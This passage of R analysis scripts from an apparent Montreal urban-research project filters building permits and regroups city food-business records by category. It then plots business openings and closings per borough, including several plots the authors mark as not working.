#filter(category1 == "Residentiel"| category1 == "Mixte") %>%
filter(!str_detect(text, "hangar")) %>%
filter(!str_detect(text, "piscine") & !str_detect(text, "demolir")) %>%
filter(!str_detect(text, "garage") & !str_detect(text, "demo")) %>%
filter(category2 != "Garage/Bat. Access.") %>%
mutate(issued_date = year(issued_date))
# Renovation permits ------------------------------------------------------------
renovations <-
permits %>%
filter(type == "TR") %>%
filter(category1 == "Residentiel"| category1 == "Mixte") %>%
filter(description != "Abattage") %>%
filter(!str_detect(text, "galerie")) %>%
filter(!str_detect(text, "patio")) %>%
filter(!str_detect(text, "perron")) %>%
filter(!str_detect(text, "toiture")) %>%
filter(!str_detect(text, "thermopompe")) %>%
filter(!str_detect(text, "fissure") & !str_detect(text, "fondation")) %>%
filter(!str_detect(text, "remplac") & !str_detect(text, "drain")) %>%
filter(!str_detect(text, "refection") & !str_detect(text, "membrane")) %>%
filter(!str_detect(text, "fissure") & !str_detect(text, "fondation")) %>%
filter(!str_detect(text, "refection") & !str_detect(text, "toit")) %>%
filter(!str_detect(text, "pieux") & !str_detect(text, "structure")) %>%
filter(!str_detect(text, "remplacer") & !str_detect(text, "revetement") & !str_detect(text, "toit")) %>%
filter(!str_detect(text, "rempla") & !str_detect(text, "plat") & !str_detect(text, "toit")) %>%
mutate(issued_date = year(issued_date))
# New construction, uef data --------------------------------------------------------
new_construction <-
uef %>%
filter(!is.na(NOMBRE_LOG)) %>%
filter(NOMBRE_LOG > 0) %>%
filter(ANNEE_CONS >= 1990) %>%
filter(ANNEE_CONS <= 2020) %>%
group_by(CIVIQUE_DE, CIVIQUE_FI, NOM_RUE, ANNEE_CONS) %>%
summarise(number_dwellings = sum(NOMBRE_LOG, na.rm = TRUE))
# Save output -----------------------------------------------------------------------
save(condo_conversions, combined_dwellings, demolitions, new_construction, renovations,
file = "output/permits_processed.Rdata")
<file_sep>/R/11_commercial_gentrification.R
# Step 1: Load datasets --------------------------------------------------------
# Load libraries
library(dplyr)
library(datasets)
library(ggplot2)
# Load the CT and DA datasets
load("output/CTALEXIA.Rdata")
load("output/DA.Rdata")
source("R/01_startup.R")
load("output/province.Rdata")
load("output/geometry.Rdata")
# Load the Ãtablissements alimentaires data from Données Montreal
# dataset is from 1988 to 2021.06.28
# the type category is case sensitive
food_businesses_raw <-
read_sf("data/businesses/businesses.shp") %>%
st_transform(32618) %>%
mutate(date = ymd(date_statu))
food_businesses_sf <-
food_businesses_raw %>%
select(-state, -date_statu, -latitude, -longitude, -x, -y) %>%
relocate(geometry, .after = last_col()) %>%
set_names(c("id", "name", "address", "city", "type", "statut", "date", "geometry"))
food_businesses <-
food_businesses_sf %>%
st_drop_geometry()
# save output
save(food_businesses, food_businesses_sf, file = "output/food_businesses.Rdata")
# load output
load("output/food_businesses.Rdata")
# This dataset has classified businesses into the following categories:
# Ecole/mesure alimentaires, Ãpicerie, épicerie avec préparation, évènement spéciaux,
# aliments naturels, Atelier de conditionnement de produits de la pêche, autres,
# bar laitier, bar laitiers saisonnier, bar salon, taverne, boucherie, boucherie-épicerie,
# boulangerie, brasserie, cabane à sucre, (café, thé, infusion, tisane = toute une catégorie),
# cafétéria, Cafétéria institution d'enseignement, Camion de distribution de produits carnés,
# Camion de distribution de produits de la pêche, Camion de distribution de produits laitiers,
# Camion-cuisine, Cantine mobile, Casse-croûte, Centre d'accueil, Charcuterie,
# Charcuterie/fromage, Confiserie/chocolaterie, Cuisine domestique, Découpe à forfait,
# Distributeur en gros de fruits et légumes frais, Distributeur en gros de produits carnés,
# Distributeur en gros de produits de la pêche, Distributeur en gros de produits laitiers,
# Distributeur en gros de produits mixtes, Distributeur en gros de succédanés de produits laitier,
# Distributeur en gros d'eau, Distributrice automatique, Entrepôt, Entrepôt de produits laitiers,
# Entrepôt de produits mixtes, Entrepôt de produits végétaux, Entrepôt d'eau,
# Fabrique de boissons gazeuses, Fruits et légumes prêts à l'emploi, Garderie,
# Hôpital, Kiosque, Local de préparation, Magasin à rayons, Marché public,
# Noix et arachides, Organisme d'aide alimentaire, Pâtes alimentaires, Pâtisserie,
# Pâtisserie-dépôt, Poissonnerie, Produits à base de protéines végétales,
# Résidences de personnes âgées, Ramasseur de lait, Restaurant, Restaurant mets pour emporter,
# Restaurant service rapide, Site d'eau vendue au volume, supermarché, Traiteur,
# Usine de produits laitiers, Usine de produits marins, Usine d'emballage de glace,
# Usine produit autre, Véhicule livraison, Vendeur itinérant.
# Load wes anderson colors
library(wesanderson)
pal <- wes_palette("Zissou1", 10, type = c("continuous"))
# Determining how many businesses are inventoried per year
food_businesses%>%
mutate(date=year(date)) %>%
count(date) %>%
View()
# Determining how many businesses per category
food_businesses%>%
count(type) %>%
View()
# Initial grouping strategy-----------------------------------------------------
# To clean the groups before grouping
types_to_remove <- c("Atelier de conditionnement de produits de la pêche", "Cabane à sucre",
"Camion de distribution de produits carnés", "Camion de distribution de produits de la pêche",
"Camion de distribution de produits laitiers", "Camp de vacances", "Hôpital", "Site d'eau vendue au volume",
"Véhicule livraison", "Vendeur itinérant", "Distributrice automatique")
food_businesses_test <-
food_businesses %>%
filter(!type %in% types_to_remove) %>%
filter(!str_detect(type, "Distributeur en gros")) %>%
filter(!str_detect(type, "Entrepôt")) %>%
filter(!str_detect(type, "Usine"))
groups <-
food_businesses_test %>%
select(-city, -statut) %>%
arrange(date) %>%
group_by(address) %>%
mutate(group_id = row_number())
# Load grouped data
load("output/grouped_addresses.Rdata")
# Kosta's grouping--------------------------------------------------------------
# types to remove
types_to_remove_kosta <- c("Atelier de conditionnement de produits de la pêche", "Cabane à sucre",
"Camion de distribution de produits carnés", "Camion de distribution de produits de la pêche",
"Camion de distribution de produits laitiers", "Camp de vacances", "Hôpital", "Site d'eau vendue au volume",
"Véhicule livraison", "Vendeur itinérant", "Distributrice automatique", "École/mesures alimentaires",
"Événements spéciaux", "Autres", "Cafétéria institution d'enseignement",
"Camion-cuisine", "Cantine mobile", "Centre d'accueil", "Cuisine domestique",
"Découpe à forfait", "Distributeur en gros de fruits et légumes frais",
"Distributeur en gros de produits de la pêche", "Distributeur en gros de produits mixtes",
"Distributeur en gros de produits carnés","Distributeur en gros de produits laitiers",
"Distributeur en gros de succédanés de produits laitiers", "Distributeur en gros d'eau",
"Distributrice automatique","Entrepôt", "Entrepôt de produits laitiers", "Entrepôt de produits mixtes",
"Entrepôt de produits végétaux", "Entrepôt d'eau", "Fabrique de boissons gazeuses",
"Fruits et légumes prêts à l'emploi", "Garderie","Local de préparation",
"Marché public", "Noix et arachides", "Organisme d'aide alimentaire",
"Pâtes alimentaires", "Produits à base de protéines végétales","Résidences de personnes âgées",
"Ramasseur de lait", "Site d'eau vendue au volume", "Traiteur", "Usine d'embouteillage d'eau",
"Usine de produits laitiers", "Usine de produits marins", "Usine d'emballage de glace",
"Usine produit autre", "Kiosque", "Résidence de personnes âgées")
# recreate dataframe and remove types
food_businesses_kosta <-food_businesses_sf %>%
filter(!type %in% types_to_remove_kosta )
# restaurant category
#restaurants_kosta <-food_businesses %>%
# filter(type=="Restaurant")
# cafe category
keep_cafes_kosta <-c("Bar laitier","Bar laitier saisonnier","Bar salon, taverne",
"Brasserie","Café, thé, infusion, tisane","Cafétéria","Confiserie/chocolaterie",
"Restaurant mets pour emporter","Restaurant service rapide","Casse-croûte")
food_businesses_kosta <-
food_businesses_kosta %>%
mutate(type = ifelse(type %in% keep_cafes_kosta, "Cafe", type))
# food stores
keep_foodstores_kosta <-c("Épicerie", "Épicerie avec préparation", "Aliments naturels",
"Boucherie","Boucherie-épicerie","Boulangerie","Charcuterie",
"Charcuterie/fromage","Pâtisserie","Pâtisserie-dépôt",
"Poissonnerie","Supermarché","Magasin à rayons")
food_businesses_kosta <-
food_businesses_kosta %>%
mutate(type = ifelse(type %in% keep_foodstores_kosta, "Food store", type))
# verify that only the 3 categories were kept
unique(food_businesses_kosta$type)
# Bar charts Kosta--------------------------------------------------------------
# Merge the borough and food businesses data together
food_businesses_kosta_boroughs <- st_join(food_businesses_kosta, boroughs) %>%
st_drop_geometry()
# If you join by putting the boroughs_raw data first, there will be less data, going
# from 31 717 to 28 373
open_closed_kosta <- c("Ouvert", "Fermé")
#graph 1 : Total number of open and closed businesses per category per year
# Can't seem to be able to rename the legend
food_businesses_kosta_boroughs %>%
mutate(date = year(date)) %>%
filter(date>=2011) %>%
filter(statut %in% open_closed_kosta) %>%
group_by(date, statut, type) %>%
summarize(n = n()) %>%
ggplot()+
geom_line(aes(x=date, y=n, color = statut))+
facet_wrap(~type)+
ggtitle("Number of open and closed businesses per category per year")+
labs(x = "Year", y ="Number of businesses")+
labs(fill="Status")
# graph 2: Total number of closed and open businesses per category
food_businesses_kosta_boroughs %>%
mutate(date = year(date)) %>%
filter(date>=2011) %>%
filter(statut %in% open_closed_kosta) %>%
group_by(date, statut, type) %>%
summarize(n = n()) %>%
ggplot()+
geom_line(aes(x=date, y=n, color = type))+
facet_wrap(~statut)+
ggtitle("Number of open and closed businesses per category per year")+
labs(x = "Year", y ="Number of businesses", fill="Type")
# graph 3 is not working
food_businesses_kosta_boroughs %>%
mutate(date = year(date)) %>%
filter(date>=2011) %>%
filter(borough %in% food_top_11) %>%
filter(statut %in% open_closed_kosta) %>%
group_by(borough,date, statut, type, dwellings) %>%
summarize(statut_per_borough= n()) %>%
mutate(statut_per_borough_per_100_dwellings = statut_per_borough/(dwellings/100)) %>%
ggplot()+
geom_bar(aes(x = date, fill = statut_per_borough_per_100_dwellings), stat="count")+
facet_wrap(~borough)+
ggtitle("Number of open and closed businesses per category per year")+
labs(x = "Year", y ="Number of businesses per 100 dwellings", fill = "Type")
# graph 4: number of open businesses per category per 1000 dwellings per borough
food_top_11 <-
food_businesses_kosta_boroughs %>%
filter(!is.na(borough)) %>%
mutate(date = year(date)) %>%
filter(date>=2011) %>%
count(borough) %>%
arrange(desc(n)) %>%
slice(1:11) %>%
pull(borough)
food_businesses_kosta_boroughs %>%
mutate(date = year(date)) %>%
filter(date>=2011) %>%
# filter(date!=2021) %>% #because it messes up the year scale
filter(borough %in% food_top_11) %>%
filter(statut %in% open_closed_kosta) %>%
group_by(borough,date, statut, type, dwellings) %>%
summarize(statut_per_borough= n()) %>%
mutate(statut_per_borough_per_1000_dwellings = statut_per_borough/(dwellings/1000)) %>%
ggplot()+
geom_smooth(aes(x = date, y = statut_per_borough_per_1000_dwellings, color = type), se=FALSE)+
facet_wrap(~borough)+
ggtitle("Number of open businesses per category per 1000 dwellings per year")+
labs(x = "Year", y ="Number of businesses per 1000 dwellings", fill = "Type")
# graph 5
# testing with the ggplot2 package
# can't install these packages
food_businesses_kosta_boroughs %>%
mutate(date = year(date)) %>%
filter(date>=2011) %>%
filter(statut %in% open_closed_kosta) %>%
group_by(borough,date, statut, type, dwellings) %>%
summarize(statut_per_borough= n()) %>%
mutate(statut_per_borough_per_100_dwellings = statut_per_borough/(dwellings/100)) %>%
ggplot2.barplot(xName="date", yName="statut_per_borough_per_100_dwellings",
groupName="type", position=position_dodge())+
#geom_bar(aes(x = date, fill = statut_per_borough_per_100_dwellings), stat="count")+
facet_wrap(~borough)+
ggtitle("Number of open and closed businesses per category per year")+
labs(x = "Year", y ="Number of businesses per 100 dwellings", fill = "Type")
# graph 6
# not working
food_businesses_kosta_boroughs %>%
mutate(date = year(date)) %>%
filter(date>=2011) %>%
filter(borough %in% food_top_11) %>%
filter(statut %in% open_closed_kosta) %>%
group_by(borough,date, statut, type, dwellings) %>%
summarize(statut_per_borough= n()) %>%
mutate(statut_per_borough_per_100_dwellings = statut_per_borough/(dwellings/100)) %>%
group_by(borough,date, statut, statut_per_borough_per_100_dwellings, type) %>%
summarize(statut_per_type=n()) %>%
ggplot()+
geom_bar(aes(x = date, fill = statut_per_type, stat="count"))+
facet_wrap(~borough)+
ggtitle("Number of open and closed businesses per category per year")+
labs(x = "Year", y ="Number of businesses per 100 dwellings", fill = "Type")
# graph 7: for Ville-Marie per 1000 dwellings
food_businesses_kosta_boroughs %>%
mutate(date = year(date)) %>%
filter(date>=2011) %>%
# filter(date!=2021) %>% #because it messes up the year scale
filter(borough=="Ville-Marie") %>%
filter(statut %in% open_closed_kosta) %>%
group_by(date, statut, type, dwellings) %>%
summarize(statut_villemarie= n()) %>%
mutate(statut_villemarie_per_1000_dwellings = statut_villemarie/(dwellings/1000)) %>%
ggplot()+
geom_line(aes(x = date, y = statut_villemarie_per_1000_dwellings, color = type))+
facet_wrap(~statut)+
ggtitle("Ville-Marie: Openings and closings per category per 1000 dwellings by year")+
labs(x = "Year", y ="Number of businesses per 1000 dwellings", fill = "Type")+
theme_minimal()+
theme(legend.position = "bottom")
# graph 8: for Ville-Marie absolute count
food_businesses_kosta_boroughs %>%
mutate(date = year(date)) %>%
filter(date>=2011) %>%
# filter(date!=2021) %>% #because it messes up the year scale
filter(borough=="Ville-Marie") %>%
filter(statut %in% open_closed_kosta) %>%
group_by(date, statut, type, dwellings) %>%
summarize(statut_villemarie= n()) %>%
ggplot()+
geom_line(aes(x = date, y = statut_villemarie, color = type))+
facet_wrap(~statut)+
ggtitle("Ville-Marie: Openings and closings per category by year")+
labs(x = "Year", y ="Number of businesses", fill = "Type")+
theme_minimal()+
theme(legend.position = "bottom")
# Shares of openings and closings-----------------------------------------------
# find total number of closings and openings for the whole island per year
total_status_by_borough <-
food_businesses_kosta_boroughs %>%
mutate(date = year(date)) %>%
filter(date>=2011 & date!=2021) %>%
filter(statut == "Fermé" | statut == "Ouvert") %>%
count(borough, statut, date) %>%
rename(total=n)
top_10_boroughs <-
boroughs %>%
mutate(dwelling_density = dwellings/st_area(geometry)) %>%
arrange(desc(dwelling_density)) %>%
slice(1:10) %>%
pull(borough)
# percentage of closed businesses per total closings by borough per year (2011-2020)
food_businesses_kosta_boroughs %>%
mutate(date = year(date)) %>%
filter(date>=2011 & date!=2021) %>%
filter(statut == "Fermé" | statut == "Ouvert") %>%
count(borough, statut, date, type) %>%
full_join(., total_status_by_borough, by = c("borough", "statut", "date")) %>%
filter(borough %in% top_10_boroughs) %>%
mutate(percentage = n/total) %>%
filter(statut == "Fermé") %>%
ggplot()+
geom_smooth(aes(x=date, y= percentage, color=type), se=FALSE)+
facet_wrap(~borough)+
ggtitle("Percentage of closed businesses per total closings by borough per year (2011-2020)")+
labs(x = "Year", y ="Percentage", fill = "Type")+
theme_minimal()+
theme(legend.position = "bottom")
# percentage of opening businesses per total openings by borough per year (2011-2020)
food_businesses_kosta_boroughs %>%
mutate(date = year(date)) %>%
filter(date>=2011 & date!=2021) %>%
filter(statut == "Fermé" | statut == "Ouvert") %>%
count(borough, statut, date, type) %>%
full_join(., total_status_by_borough, by = c("borough", "statut", "date")) %>%
filter(borough %in% top_10_boroughs) %>%
mutate(percentage = n/total) %>%
filter(statut == "Ouvert") %>%
ggplot()+
geom_smooth(aes(x=date, y= percentage, color=type), se=FALSE)+
facet_wrap(~borough)+
ggtitle("Percentage of opened businesses per total openings by borough per year (2011-2020)")+
labs(x = "Year", y ="Percentage", fill = "Type")+
theme_minimal()+
theme(legend.position = "bottom")
# # % ferme et % ouvert out of all categories
#
# total_status_by_borough <-
# food_businesses_kosta_boroughs %>%
# mutate(date = year(date)) %>%
# filter(date>=2011 & date!=2021) %>%
# filter(statut == "Fermé" | statut == "Ouvert") %>%
# count(borough, statut, date) %>%
# rename(total=n)
#
# top_10_boroughs <-
# boroughs %>%
# mutate(dwelling_density = dwellings/st_area(geometry)) %>%
# arrange(desc(dwelling_density)) %>%
# slice(1:10) %>%
# pull(borough)
#
# boroughs_of_interest <- c("Côte-des-Neiges-Notre-Dame-de-Grâce", "Rosemont-La Petite-Patrie",
# "Mercier-Hochelaga-Maisonneuve", "Villeray-Saint-Michel-Parc-Extension",
# "Le Plateau-Mont-Royal", "Ahuntsic-Cartierville", "Le Sud-Ouest",
# "Verdun")
#
# # percentage open per total openings
# food_businesses_kosta_boroughs %>%
# mutate(date = year(date)) %>%
# filter(date>=2011 & date!=2021) %>%
# filter(statut == "Fermé" | statut == "Ouvert") %>%
# count(borough, statut, date, type) %>%
# full_join(., total_status_by_borough, by = c("borough", "statut", "date")) %>%
# filter(borough %in% top_10_boroughs) %>%
# mutate(percentage = n/total) %>%
# filter(statut == "Ouvert") %>%
# ggplot()+
# geom_smooth(aes(x=date, y= percentage, color=type), se=FALSE)+
# scale_color_discrete()+
# facet_wrap(~borough)+
# theme_minimal()
#
# ## ratio open to closed
# ## add titles to clean up graph
# full_join(total_ferme_by_borough, total_ouvert_by_borough, by = c("borough", "type", "date")) %>%
# filter(borough %in% boroughs_of_interest) %>%
# mutate(total_ouvert = ifelse(is.na(total_ouvert), 0, total_ouvert)) %>%
# mutate(total_ferme = ifelse(is.na(total_ferme), 0, total_ferme)) %>%
# mutate(ratio_open_to_closed = total_ouvert/total_ferme) %>%
# mutate(positive_negative = total_ouvert - total_ferme) %>%
# ggplot()+
# geom_smooth(aes(x=date, y=ratio_open_to_closed, color=type), se=FALSE)+
# facet_wrap(~borough)+
# theme_minimal()
# ratio open-to-close by year by borough by type
total_ferme_by_borough <-
food_businesses_kosta_boroughs %>%
mutate(date = year(date)) %>%
filter(date>=2011 & date!=2021) %>%
filter(statut == "Fermé") %>%
count(borough, date, type) %>%
rename(total_ferme=n)
total_ouvert_by_borough <-
food_businesses_kosta_boroughs %>%
mutate(date = year(date)) %>%
filter(date>=2011 & date!=2021) %>%
filter(statut == "Ouvert") %>%
count(borough, date, type) %>%
rename(total_ouvert=n)
full_join(total_ferme_by_borough, total_ouvert_by_borough, by = c("borough", "type", "date")) %>%
filter(borough %in% boroughs_of_interest) %>%
mutate(total_ouvert = ifelse(is.na(total_ouvert), 0, total_ouvert)) %>%
mutate(total_ferme = ifelse(is.na(total_ferme), 0, total_ferme)) %>%
mutate(ratio_open_to_closed = total_ouvert/total_ferme) %>%
mutate(positive_negative = total_ouvert - total_ferme) %>%
ggplot()+
geom_smooth(aes(x=date, y=ratio_open_to_closed, color=type), se=FALSE)+
facet_wrap(~borough)+
theme_minimal()+
ggtitle("Ratio of openings to closings (total openings/total closings)(2011-2020)")+
labs(x = "Year", y ="Ratio", fill = "Type")+
theme(legend.position = "bottom")
## positive negative stores: open stores - closed stores
full_join(total_ferme_by_borough, total_ouvert_by_borough, by = c("borough", "type", "date")) %>%
filter(borough %in% boroughs_of_interest) %>%
mutate(total_ouvert = ifelse(is.na(total_ouvert), 0, total_ouvert)) %>%
mutate(total_ferme = ifelse(is.na(total_ferme), 0, total_ferme)) %>%
mutate(ratio_open_to_closed = total_ouvert/total_ferme) %>%
mutate(positive_negative = total_ouvert - total_ferme) %>%
ggplot()+
geom_smooth(aes(x=date, y=positive_negative, color=type), se=FALSE)+
facet_wrap(~borough)+
theme_minimal()+
ggtitle("Total openings- total closings(2011-2020)")+
labs(x = "Year", y ="Ratio", fill = "Type")+
theme(legend.position = "bottom")
### This code is currently not working
# total_closings_kosta_per_year <-
# food_businesses_kosta_boroughs %>%
# mutate(date = year(date)) %>%
# filter(date>=2011 & date!=2021) %>%
# filter(statut == "Fermé") %>%
# group_by(date) %>%
# summarize(total_number_closings_kosta= n())
#
# # total number openings per year (2011-2020)
#
# total_openings_kosta_per_year <-
# food_businesses_kosta_boroughs %>%
# mutate(date = year(date)) %>%
# filter(date>=2011 & date!=2021) %>%
# filter(statut == "Ouvert") %>%
# group_by(date) %>%
# summarize(total_number_openings_kosta= n())
#
# # join the closings and openings
#
# total_openings_closings_island_kosta <-
# total_closings_kosta_per_year %>%
# full_join(., total_openings_kosta_per_year, by = "date")
#
#
# # Graph 1: Ahuntsic-Cartierville
#
# share_open_ahuntsiccatierville <-
# food_businesses_kosta_boroughs %>%
# mutate(date = year(date)) %>%
# filter(date>=2011& date!=2021) %>%
# filter(borough=="Ahuntsic-Cartierville") %>%
# filter(statut=="Ouvert") %>%
# group_by(date, type, statut) %>%
# summarize(open_ahuntsiccatierville= n()) %>%
# full_join(., total_openings_kosta_per_year, by = "date") %>%
# mutate(share_openings_ahuntsiccatierville = open_ahuntsiccatierville/
# total_number_openings_kosta)
#
# share_closed_ahuntsiccatierville <-
# food_businesses_kosta_boroughs %>%
# mutate(date = year(date)) %>%
# filter(date>=2011& date!=2021) %>%
# filter(borough=="Ahuntsic-Cartierville") %>%
# filter(statut=="Fermé") %>%
# group_by(date, type, statut) %>%
# summarize(closed_ahuntsiccatierville= n()) %>%
# full_join(., total_closings_kosta_per_year, by = "date") %>%
# mutate(share_closings_ahuntsiccatierville = closed_ahuntsiccatierville/
# total_number_closings_kosta)
#
# combined_openings_closings_share_ahuntsiccatierville <-
# share_closed_ahuntsiccatierville %>%
# full_join(.,share_open_ahuntsiccatierville)
#
# combined_openings_closings_share_ahuntsiccatierville %>%
# ggplot()+
# geom_line(aes(x = date, y = statut_villemarie_per_1000_dwellings, color = type))+
# ### Help here!!! I don't know which y to use, since I sort of have 2 (share_closings_ahuntsiccatierville and share_openings_ahuntsiccatierville)
#
# facet_wrap(~statut)+
# ggtitle("Ville-Marie: Openings and closings per category per 1000 dwellings by year")+
# labs(x = "Year", y ="Number of businesses per 1000 dwellings", fill = "Type")+
# theme_minimal()+
# theme(legend.position = "bottom")
# Statistical Analysis ---------------------------------------------------------
# Bar charts
food_businesses %>%
mutate(date = year(date)) %>%
ggplot()+
geom_histogram(aes(x = date, fill = statut), stat="count")
# Proportional status per year bar graph
food_businesses %>%
mutate(date = year(date)) %>%
filter(date >= 2010) %>%
count(date, statut) %>%
ggplot(aes(x = date, y = n, fill = statut)) +
geom_bar(position = "fill",stat = "identity")
# Alexia + Cloé groupings------------------------------------------------------
# recreate dataframe and remove types
food_businesses_alexia <-food_businesses_sf
# cafe category
keep_cafes_alexia <-c("Bar laitier","Bar laitier saisonnier",
"Café, thé, infusion, tisane",
"Restaurant mets pour emporter","Restaurant service rapide","Casse-croûte")
food_businesses_alexia <-
food_businesses_alexia %>%
mutate(type = ifelse(type %in% keep_cafes_alexia, "Café", type))
#industriel
keep_industrial_alexia <-c("Usine de produits laitiers","Usine de produits marins","Usine produit autre",
"Fabrique de boissons gazeuses","Distributeur en gros de fruits et légumes frais",
"Distributeur en gros de produits de la pêche","Distributeur en gros de produits mixtes",
"Distributeur en gros de produits carnés","Distributeur en gros de produits laitiers",
"Distributeur en gros de succédanés de produits laitiers","Entrepôt","Entrepôt de produits laitiers",
"Entrepôt de produits mixtes","Entrepôt de produits végétaux","Entrepôt d'eau",
"Distributeur en gros d'eau","Atelier de conditionnement de produits de la pêche",
"Camion de distribution de produits carnés","Camion de distribution de produits de la pêche",
"Camion de distribution de produits laitiers","Découpe à forfait","Ramasseur de lait",
"Site d'eau vendue au volume","Usine d'emballage de glace","Véhicule livraison",
"Local de préparation","Fruits et légumes prêts à l'emploi","Pâtes alimentaires",
"Produits à base de protéines végétales", "Usine d'embouteillage d'eau")
food_businesses_alexia <-
food_businesses_alexia %>%
mutate(type = ifelse(type %in% keep_industrial_alexia, "Industrial", type))
# restaurant = restaurant
# bars
keep_bars_alexia <-c("Bar salon, taverne", "Brasserie")
food_businesses_alexia <-
food_businesses_alexia %>%
mutate(type = ifelse(type %in% keep_bars_alexia, "Bar", type))
#grocery stores
keep_grocerystores_alexia <-c("Épicerie", "Épicerie avec préparation", "Supermarché",
"Magasin à rayons")
food_businesses_alexia <-
food_businesses_alexia %>%
mutate(type = ifelse(type %in% keep_grocerystores_alexia, "Grocery store", type))
#specialized stores
keep_specializedstores_alexia <-c("Aliments naturels", "Boucherie", "Boucherie-épicerie",
"Boulangerie", "Charcuterie", "Charcuterie/fromage", "Pâtisserie",
"Pâtisserie-dépôt", "Poissonnerie", "Confiserie/chocolaterie",
"Marché public", "Noix et arachides")
food_businesses_alexia <-
food_businesses_alexia %>%
mutate(type = ifelse(type %in% keep_specializedstores_alexia, "Specialized stores", type))
# Ephemeral
keep_ephemeral_alexia <-c("Événements spéciaux", "Camion-cuisine", "Cantine mobile",
"Vendeur itinérant", "Traiteur", "Kiosque")
food_businesses_alexia <-
food_businesses_alexia %>%
mutate(type = ifelse(type %in% keep_ephemeral_alexia, "Ephemeral stores", type))
#Institutional/Community
keep_institutional_community_alexia <- c("Cafétéria institution d'enseignement",
"École/mesures alimentaires", "Garderie",
"Hôpital", "Organisme d'aide alimentaire",
"Centre d'accueil","Résidence de personnes âgées",
"Cafétéria")
food_businesses_alexia <-
food_businesses_alexia %>%
mutate(type = ifelse(type %in% keep_institutional_community_alexia, "Institutional/Community", type))
#Others
keep_others_alexia <- c("Autres", "Cuisine domestique", "Distributrice automatique",
"Cabane à sucre", "Camp de vacances")
food_businesses_alexia <-
food_businesses_alexia %>%
mutate(type = ifelse(type %in% keep_others_alexia, "Other", type))
# verify that only the created categories were kept
unique(food_businesses_alexia$type)
#only keep the categories of interest and merge with boroughs
food_businesses_boroughs_alexia <-
food_businesses_alexia %>%
filter(type != "Ephemeral stores") %>%
filter(type != "Institutional/Community") %>%
filter(type != "Industrial") %>%
filter(type != "Other") %>%
st_join(boroughs, .) %>%
st_drop_geometry()
# Charts with Alexia groupings--------------------------------------------------
# total openings and closings per borough
total_ferme_by_borough_alexia <-
food_businesses_boroughs_alexia %>%
mutate(date = year(date)) %>%
filter(date>=2011 & date!=2021) %>%
filter(statut == "Fermé") %>%
count(borough, date, type) %>%
rename(total_ferme=n)
total_ouvert_by_borough_alexia <-
food_businesses_boroughs_alexia %>%
mutate(date = year(date)) %>%
filter(date>=2011 & date!=2021) %>%
filter(statut == "Ouvert") %>%
count(borough, date, type) %>%
rename(total_ouvert=n)
# ratio of openings to closings
full_join(total_ferme_by_borough_alexia, total_ouvert_by_borough_alexia, by = c("borough", "type", "date")) %>%
filter(borough %in% boroughs_of_interest) %>%
mutate(total_ouvert = ifelse(is.na(total_ouvert), 0, total_ouvert)) %>%
mutate(total_ferme = ifelse(is.na(total_ferme), 0, total_ferme)) %>%
mutate(ratio_open_to_closed = total_ouvert/total_ferme) %>%
mutate(positive_negative = total_ouvert - total_ferme) %>%
ggplot()+
geom_smooth(aes(x=date, y=ratio_open_to_closed, color=type), se=FALSE)+
facet_wrap(~borough)+
theme_minimal()+
ggtitle("Ratio of openings to closings (total openings/total closings)(2011-2020)")+
labs(x = "Year", y ="Ratio", fill = "Type")+
theme(legend.position = "bottom")+
ylim(c())
## positive negative stores: open stores - closed stores
full_join(total_ferme_by_borough_alexia, total_ouvert_by_borough_alexia, by = c("borough", "type", "date")) %>%
filter(borough %in% boroughs_of_interest) %>%
mutate(total_ouvert = ifelse(is.na(total_ouvert), 0, total_ouvert)) %>%
mutate(total_ferme = ifelse(is.na(total_ferme), 0, total_ferme)) %>%
mutate(ratio_open_to_closed = total_ouvert/total_ferme) %>%
mutate(positive_negative = total_ouvert - total_ferme) %>%
ggplot()+
geom_smooth(aes(x=date, y=positive_negative, color=type), se=FALSE)+
facet_wrap(~borough)+
theme_minimal()+
ggtitle("Total openings- total closings(2011-2020)")+
labs(x = "Year", y ="Ratio", fill = "Type")+
theme(legend.position = "bottom")+
ylim(c(-20, 25))
# Alexia tags: Graph per boroughs------------------------------------------------------------
#Boroughs of interest: Ville-Marie, Le Plateau-Mont-Royal, Villeray-Saint-Michel-Parc-Extension, Le Sud-Ouest and
# Mercier-Hochelaga-Maisonneuve
food_businesses_boroughs_alexia %>%
count(borough) %>%
View()
# Graph 1: % closing by type of food business
food_businesses_boroughs_alexia %>%
mutate(date = year(date)) %>%
filter(date>=2011 & date!=2021) %>%
filter(statut == "Fermé" | statut == "Ouvert") %>%
count(borough, statut, date, type) %>%
full_join(., total_status_by_borough, by = c("borough", "statut", "date")) %>%
filter(borough=="Mercier-Hochelaga-Maisonneuve") %>%
mutate(percentage = (n/total)*100) %>%
filter(statut == "Fermé") %>%
ggplot()+
geom_smooth(aes(x=date, y= percentage, color=type), se=FALSE)+
ggtitle("Mercier-Hochelaga-Maisonneuve:Percentage of closed businesses per total closings by year (2011-2020)")+
labs(x = "Year", y ="Percentage", fill = "Type")+
theme_minimal()+
theme(legend.position = "bottom")+
scale_color_manual(name="Type of food\nbusiness",
values=col_palette[c(1:5)])
# Graph 2: % openings by type of food business
food_businesses_boroughs_alexia %>%
mutate(date = year(date)) %>%
filter(date>=2011 & date!=2021) %>%
filter(statut == "Fermé" | statut == "Ouvert") %>%
count(borough, statut, date, type) %>%
full_join(., total_status_by_borough, by = c("borough", "statut", "date")) %>%
filter(borough=="Mercier-Hochelaga-Maisonneuve") %>%
mutate(percentage = (n/total)*100) %>%
filter(statut == "Ouvert") %>%
ggplot()+
geom_smooth(aes(x=date, y= percentage, color=type), se=FALSE)+
ggtitle("Mercier-Hochelaga-Maisonneuve:Percentage of opened businesses per total openings by year (2011-2020)")+
labs(x = "Year", y ="Percentage", fill = "Type")+
theme_minimal()+
theme(legend.position = "bottom")+
scale_color_manual(name="Type of food\nbusiness",
values=col_palette[c(1:5)])
#graph 3: Ratio open-to-close
full_join(total_ferme_by_borough_alexia, total_ouvert_by_borough_alexia, by = c("borough", "type", "date")) %>%
filter(borough=="Mercier-Hochelaga-Maisonneuve") %>%
mutate(total_ouvert = ifelse(is.na(total_ouvert), 0, total_ouvert)) %>%
mutate(total_ferme = ifelse(is.na(total_ferme), 0, total_ferme)) %>%
mutate(ratio_open_to_closed = total_ouvert/total_ferme) %>%
mutate(positive_negative = total_ouvert - total_ferme) %>%
ggplot()+
geom_smooth(aes(x=date, y=ratio_open_to_closed, color=type), se=FALSE)+
theme_minimal()+
ggtitle("Mercier-Hochelaga-Maisonneuve: Ratio of openings to closings (total openings/total closings)(2011-2020)")+
labs(x = "Year", y ="Ratio", fill = "Type")+
theme(legend.position = "bottom")+
scale_color_manual(name="Type of food\nbusiness",
values=col_palette[c(1:5)])
